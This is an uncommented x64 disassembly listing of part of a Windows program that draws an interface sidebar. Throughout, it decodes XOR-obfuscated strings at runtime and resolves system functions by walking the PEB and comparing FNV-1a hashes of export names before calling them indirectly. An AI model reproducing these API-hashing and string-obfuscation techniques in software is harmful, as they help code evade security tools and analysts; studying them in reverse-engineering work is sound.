test cl, cl
jne 0x14008c5a0
cmp r8d, 0xa52bcaf9
je 0x14008c5cb
test r9d, r9d
jne 0x14008c580
mov rax, qword [rax]
jmp 0x14008c550
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0x1258]
call fcn.1400647c0
mov ebx, dword [reloc.WS2_32.dll_accept]
mov rdi, qword [rbp + 0x98]
mov dword [rbp + 0x5f0], 0x43700000
mov dword [rbp + 0x5f4], 0x43b40000
lea rcx, [rbp + 0x5f0]
call fcn.140025b20
mov qword [rsi + 0xc4], r12
mov dword [rsi + 0xcc], r12d
mov dword [rsi + 0xd0], 0x3f800000
movaps xmm6, xmmword [0x14011b0e0]
movaps xmm7, xmmword [0x1401632a0]
mov dword [rbp + 0x5f8], 0x43820000
mov dword [rbp + 0x5fc], 0x42200000
movsd xmm0, qword [str.rPQX]
movsd qword [rbp + 0x218], xmm0
mov eax, dword [str.tV_RR]
mov dword [rbp + 0x220], eax
movzx eax, word [0x1401602c4]
mov word [rbp + 0x224], ax
cmp byte [0x1401602c5], 0
je 0x14008c7f0
mov r8d, r12d
cmp ebx, 2
jl 0x14008c7ad
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.rPQX]
xorps xmm2, xmm0
movd dword [rbp + 0x218], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x21c]
xorps xmm2, xmm1
movd dword [rbp + 0x21c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x218]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14008c7c0
movdqa xmmword [rsp + 0x70], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401956c8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401956c0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401956b8]
xor r8d, r8d
lea rdx, [rbp + 0x5f8]
lea rcx, [rbp + 0x218]
call fcn.14003f970
test al, al
je 0x14008c85f
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x1401966f9], 0
mov dword [rsi + 0xc4], 0x3f800000
mov dword [rsi + 0xc8], 0x3f800000
mov dword [rsi + 0xcc], 0x3f800000
mov dword [rsi + 0xd0], 0x3f800000
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x600], 0x4432c000
mov dword [rbp + 0x604], 0x40a00000
lea rcx, [rbp + 0x600]
call fcn.140025b20
movaps xmm0, xmmword [0x140163290]
movaps xmm1, xmmword [0x140163260]
mov dword [rbp + 0x608], 0x41a00000
mov dword [rbp + 0x60c], 0x41f00000
movzx eax, word [0x1401602c8]
mov word [rbp - 0x74], ax
cmp byte [0x1401602c9], 0
je 0x14008c8ed
mov byte [rbp - 0x74], 0x78
xor byte [rbp - 0x73], 0x31
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401956e0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401956d8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401956d0]
xor r8d, r8d
lea rdx, [rbp + 0x608]
lea rcx, [rbp - 0x74]
call fcn.14003fe10
test al, al
je 0x14008c94a
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, rdi
call fcn.140025920
mov dword [rbp + 0x610], 0x44278000
mov dword [rbp + 0x614], 0x43c80000
lea rcx, [rbp + 0x610]
call fcn.140025b20
movaps xmm6, xmmword [0x14011b0d0]
mov dword [rbp + 0x618], 0x42700000
mov dword [rbp + 0x61c], 0x42480000
movsd xmm0, qword [0x1401602d0]
movsd qword [rbp + 0x208], xmm0
mov eax, dword [0x1401602d8]
mov dword [rbp + 0x210], eax
cmp byte [0x1401602db], 0
je 0x14008cb10
mov r8d, r12d
cmp ebx, 2
jl 0x14008caca
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm2, xmmword [0x1401202d0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401602d0]
xorps xmm2, xmm0
movd dword [rbp + 0x208], xmm2
movdqa xmm3, xmmword [0x140163190]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401631a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x20c]
xorps xmm2, xmm1
movd dword [rbp + 0x20c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x208]
add r9, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008cae0
movdqa xmmword [rsp + 0x70], xmm6
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140196e08]
mov qword [rsp + 0x28], rax
lea rax, [0x140196e10]
mov qword [rsp + 0x20], rax
lea r9, [0x140196e00]
xor r8d, r8d
lea rdx, [rbp + 0x618]
lea rcx, [rbp + 0x208]
call fcn.14003f970
test al, al
je 0x14008cdeb
movups xmm0, xmmword [0x1401602e0]
movups xmmword [rbp + 0x958], xmm0
movups xmm1, xmmword [0x1401602f0]
movups xmmword [rbp + 0x968], xmm1
movzx eax, byte [0x140160300]
mov byte [rbp + 0x978], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008cce7
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x95c]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008cbe2
cmp r8d, 0x21
jge 0x14008cd30
movsxd rax, r8d
lea r9, [rbp + 0x958]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x14008cd00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008cdc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008cdc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008cdc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008cda0
cmp r8d, 0x491e0a9c
je 0x14008cdcb
test r9d, r9d
jne 0x14008cd80
mov rax, qword [rax]
jmp 0x14008cd50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x958]
call rdx
call fcn.1400159f0
mov rsi, qword [rbp + 0x620]
call fcn.1400195e0
mov qword [rax + 0xf4], r12
mov qword [rax + 0xfc], r12
mov qword [rbp + 0x628], 0
lea rcx, [rbp + 0x628]
call fcn.140025b20
mov dword [rbp + 0x630], 0x43160000
mov dword [rbp + 0x634], 0x43e60000
mov r9d, Ordinal_26
mov r8b, 1
lea rdx, [rbp + 0x630]
lea rcx, str.Sidebar
call fcn.140007ee0
mov dword [rbp + 0x248], 0x41480000
mov dword [rbp + 0x24c], 0x41200000
lea rcx, [rbp + 0x248]
call fcn.140025b20
xorps xmm0, xmm0
movups xmmword [rbp + 0xbc8], xmm0
movaps xmm1, xmmword [0x14011b0e0]
movups xmmword [rbp + 0xbb8], xmm1
mov dword [rbp + 0x250], 0x3f800000
mov dword [rbp + 0x254], 0x3f800000
mov qword [rbp + 0x258], 0
movd xmm0, dword [rbp + 0x1368]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x260], xmm0
movd xmm1, dword [rbp + 0x1370]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x264], xmm1
lea rax, [rbp + 0xbc8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xbb8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x250]
lea r8, [rbp + 0x258]
lea rdx, [rbp + 0x260]
mov rcx, r13
call fcn.140047190
call fcn.1400195e0
mov rbx, rax
mov dword [rax + 0x94], r12d
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x268], 0x425c0000
mov dword [rbp + 0x26c], 0x43c80000
lea rcx, [rbp + 0x268]
call fcn.140025b20
mov dword [rbx + 0x224], 0x3d5d2f1b
mov dword [rbx + 0x228], 0x3d5d2f1b
mov qword [rbx + 0x22c], 0x3d5d2f1b
mov dword [rbx + 0xf4], 0x3d5d2f1b
mov dword [rbx + 0xf8], 0x3d5d2f1b
mov qword [rbx + 0xfc], 0x3d5d2f1b
mov dword [rbx + 0x114], 0x3da7ef9e
mov dword [rbx + 0x118], 0x3d9fbe77
mov qword [rbx + 0x11c], 0x3d9fbe77
mov qword [rbx + 0x214], r12
mov qword [rbx + 0x21c], r12
movaps xmm0, xmmword [0x14011b0e0]
movups xmmword [rbp + 0xba8], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0xb98], xmm1
mov dword [rbp + 0x270], 0x3f800000
mov dword [rbp + 0x274], 0x3f800000
mov qword [rbp + 0x278], 0
mov dword [rbp + 0x280], 0x42140000
mov dword [rbp + 0x284], 0x41e00000
lea rax, [rbp + 0xba8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xb98]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x270]
lea r8, [rbp + 0x278]
lea rdx, [rbp + 0x280]
mov rcx, rsi
call fcn.1400473c0
mov r14d, dword [reloc.WS2_32.dll_accept]
test al, al
je 0x14008d2bb
movups xmm0, xmmword [0x140160308]
movups xmmword [rbp + 0x9a8], xmm0
movups xmm1, xmmword [0x140160318]
movups xmmword [rbp + 0x9b8], xmm1
mov eax, dword [0x140160328]
mov dword [rbp + 0x9c8], eax
mov r8d, r12d
cmp r14d, 2
jl 0x14008d1b5
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x9ac]
mov edx, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008d0b0
cmp r8d, 0x24
jge 0x14008d200
movsxd rax, r8d
lea r9, [rbp + 0x9a8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14008d1d0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d296
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d296
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d291
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d270
cmp r8d, 0x491e0a9c
je 0x14008d29b
test r9d, r9d
jne 0x14008d250
mov rax, qword [rax]
jmp 0x14008d220
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x9a8]
call rdx
mov dword [rbp + 0x288], 0x41200000
mov dword [rbp + 0x28c], 0x43d70000
lea rcx, [rbp + 0x288]
call fcn.140025b20
mov r15, qword [rbp + 0x7a8]
mov rcx, r15
call fcn.140025920
movaps xmm7, xmmword [0x140163290]
mov dword [rbp + 0x290], 0x42f40000
mov dword [rbp + 0x294], 0x41e00000
movups xmm0, xmmword [0x140160330]
movups xmmword [rbp + 0x770], xmm0
mov eax, dword [0x140160340]
mov dword [rbp + 0x780], eax
movzx eax, word [0x140160344]
mov word [rbp + 0x784], ax
cmp byte [0x140160345], 0
je 0x14008d4d0
mov r8d, r12d
cmp r14d, 2
jl 0x14008d485
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x774]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008d380
cmp r8d, 0x16
jge 0x14008d4d0
movsxd rax, r8d
lea r9, [rbp + 0x770]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x14008d4a0
movdqa xmmword [rsp + 0x70], xmm7
movups xmm0, xmmword [0x140195300]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x1401956f8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401956f0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401956e8]
xor r8d, r8d
lea rdx, [rbp + 0x290]
lea rcx, [rbp + 0x770]
call fcn.14003fe10
test al, al
je 0x14008d7ab
movups xmm0, xmmword [0x140160348]
movups xmmword [rbp + 0x9d0], xmm0
movups xmm1, xmmword [0x140160358]
movups xmmword [rbp + 0x9e0], xmm1
mov eax, dword [0x140160368]
mov dword [rbp + 0x9f0], eax
mov r8d, r12d
cmp r14d, 2
jl 0x14008d6a5
movdqa xmm5, xmmword [0x1401202d0]
movdqa xmm4, xmmword [0x1401632f0]
movdqa xmm6, xmmword [0x1401631a0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x9d4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140163210]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008d5a0
cmp r8d, 0x24
jge 0x14008d6f0
movsxd rax, r8d
lea r9, [rbp + 0x9d0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14008d6c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008d786
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008d786
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008d781
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008d760
cmp r8d, 0x491e0a9c
je 0x14008d78b
test r9d, r9d
jne 0x14008d740
mov rax, qword [rax]
jmp 0x14008d710
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x9d0]
call rdx
call fcn.1400159f0
mov ecx, 2
call fcn.1400213c0
mov ecx, 1
call fcn.140021470
call fcn.1400154d0
cmp byte [0x1401966f2], 0
je 0x1400954d2
cmp byte [0x1401966f8], 0
jne 0x14008d7eb
call fcn.140086540
mov byte [0x1401966f8], 1
mov eax, dword [0x14016036c]
mov dword [rbp - 0x68], eax
movzx eax, word [0x140160370]
mov word [rbp - 0x64], ax
movzx eax, byte [0x140160372]
mov byte [rbp - 0x68], Ordinal_79
xor byte [rbp - 0x67], 0x31
xor byte [rbp - 0x66], 0x32
xor byte [rbp - 0x65], 0x33
xor byte [rbp - 0x64], 0x34
xor byte [rbp - 0x63], 0x35
xor al, 0x36
mov byte [rbp - 0x62], al
xor edx, edx
mov r8d, 0x13b
lea rcx, [rbp - 0x68]
call fcn.140005180
mov ecx, 0xff3366cc
call fcn.140082680
movaps xmm0, xmmword [0x14011b0d0]
movups xmmword [rbp + 0xb88], xmm0
lea rdx, [rbp + 0xb88]
mov ecx, 3
call fcn.140021bc0
movaps xmm0, xmmword [0x140163270]
movups xmmword [rbp + 0xc70], xmm0
lea rdx, [rbp + 0xc70]
mov ecx, 5
call fcn.140021bc0
movaps xmm1, xmm11
mov ecx, 6
call fcn.140021d00
mov qword [rbp + 0x298], 0
lea rcx, [rbp + 0x298]
call fcn.140025b20
mov dword [rbp + 0x2a0], 0x43160000
mov dword [rbp + 0x2a4], 0x43e60000
mov r9d, Ordinal_26
mov r8b, 1
lea rdx, [rbp + 0x2a0]
lea rcx, str.Sidebar
call fcn.140007ee0
mov dword [rbp + 0x2a8], 0x41480000
mov dword [rbp + 0x2ac], 0x41200000
lea rcx, [rbp + 0x2a8]
call fcn.140025b20
xorps xmm0, xmm0
movups xmmword [rbp + 0xc60], xmm0
movaps xmm1, xmmword [0x14011b0e0]
movups xmmword [rbp + 0xb78], xmm1
mov dword [rbp + 0x2b0], 0x3f800000
mov dword [rbp + 0x2b4], 0x3f800000
mov qword [rbp + 0x2b8], 0
movd xmm0, dword [rbp + 0x1368]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x2c0], xmm0
movd xmm1, dword [rbp + 0x1370]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x2c4], xmm1
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xb78]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x2b0]
lea r8, [rbp + 0x2b8]
lea rdx, [rbp + 0x2c0]
mov rcx, r13
call fcn.140047190
mov dword [rbp + 0x2c8], 0
mov dword [rbp + 0x2cc], 0x43390000
lea rcx, [rbp + 0x2c8]
call fcn.140025b20
call fcn.1400195e0
mov rdi, rax
